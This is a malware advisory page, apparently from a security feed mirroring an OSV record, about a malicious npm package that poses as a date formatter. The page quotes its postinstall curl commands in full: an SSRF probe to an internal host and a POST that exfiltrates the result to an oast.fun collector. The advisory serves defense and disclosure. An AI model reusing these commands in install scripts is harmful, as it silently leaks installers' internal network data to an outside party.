Skip to content
Heist/ feed
Unrated

Malicious code in simple-date-formatter-new-13 (npm)

Type: advisorySource: OSV1 source record

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54) simple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every `npm install`. The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.

Announced Group revision 1
Original source ↗

MAL-2026-17159

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-17159

simple-date-formatter-new-13

Source reference: /affected/0/package/name

Affected versions
1.0.0

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "simple-date-formatter-new-13",
      "purl": "pkg:npm/simple-date-formatter-new-13",
      "ecosystem": "npm"
    },
    "versions": [
      "1.0.0"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/simple-date-formatter-new-13/MAL-2026-17159.json",
      "indicators": {
        "evidence_files": [
          {
            "path": "package.json",
            "tlsh": "f1f05c44d6545db397c286fc9a66050e7a01ae0714447d05b39a08ac879aaf641be30f",
            "sha256": "883c50c4d679a0345a9b060cb463945383bfbc8977d64744a63ad573d6b93340"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "12902868e262a7fe5ed5a9c1d4f38feca3d551dc",
              "sha512_sri": "sha512-gJoi/A+l4g/xNaRMllVvTZ39y29duntIU/XNnnWQHYGRR5DTmHUZEoNUigmAFVUIQObpfrDWY1g/xkfsnXlfwQ=="
            },
            "filename": "simple-date-formatter-new-13-1.0.0.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#13782 · Revision 1
Added to Heist Feed
Publisher date
Read the original announcement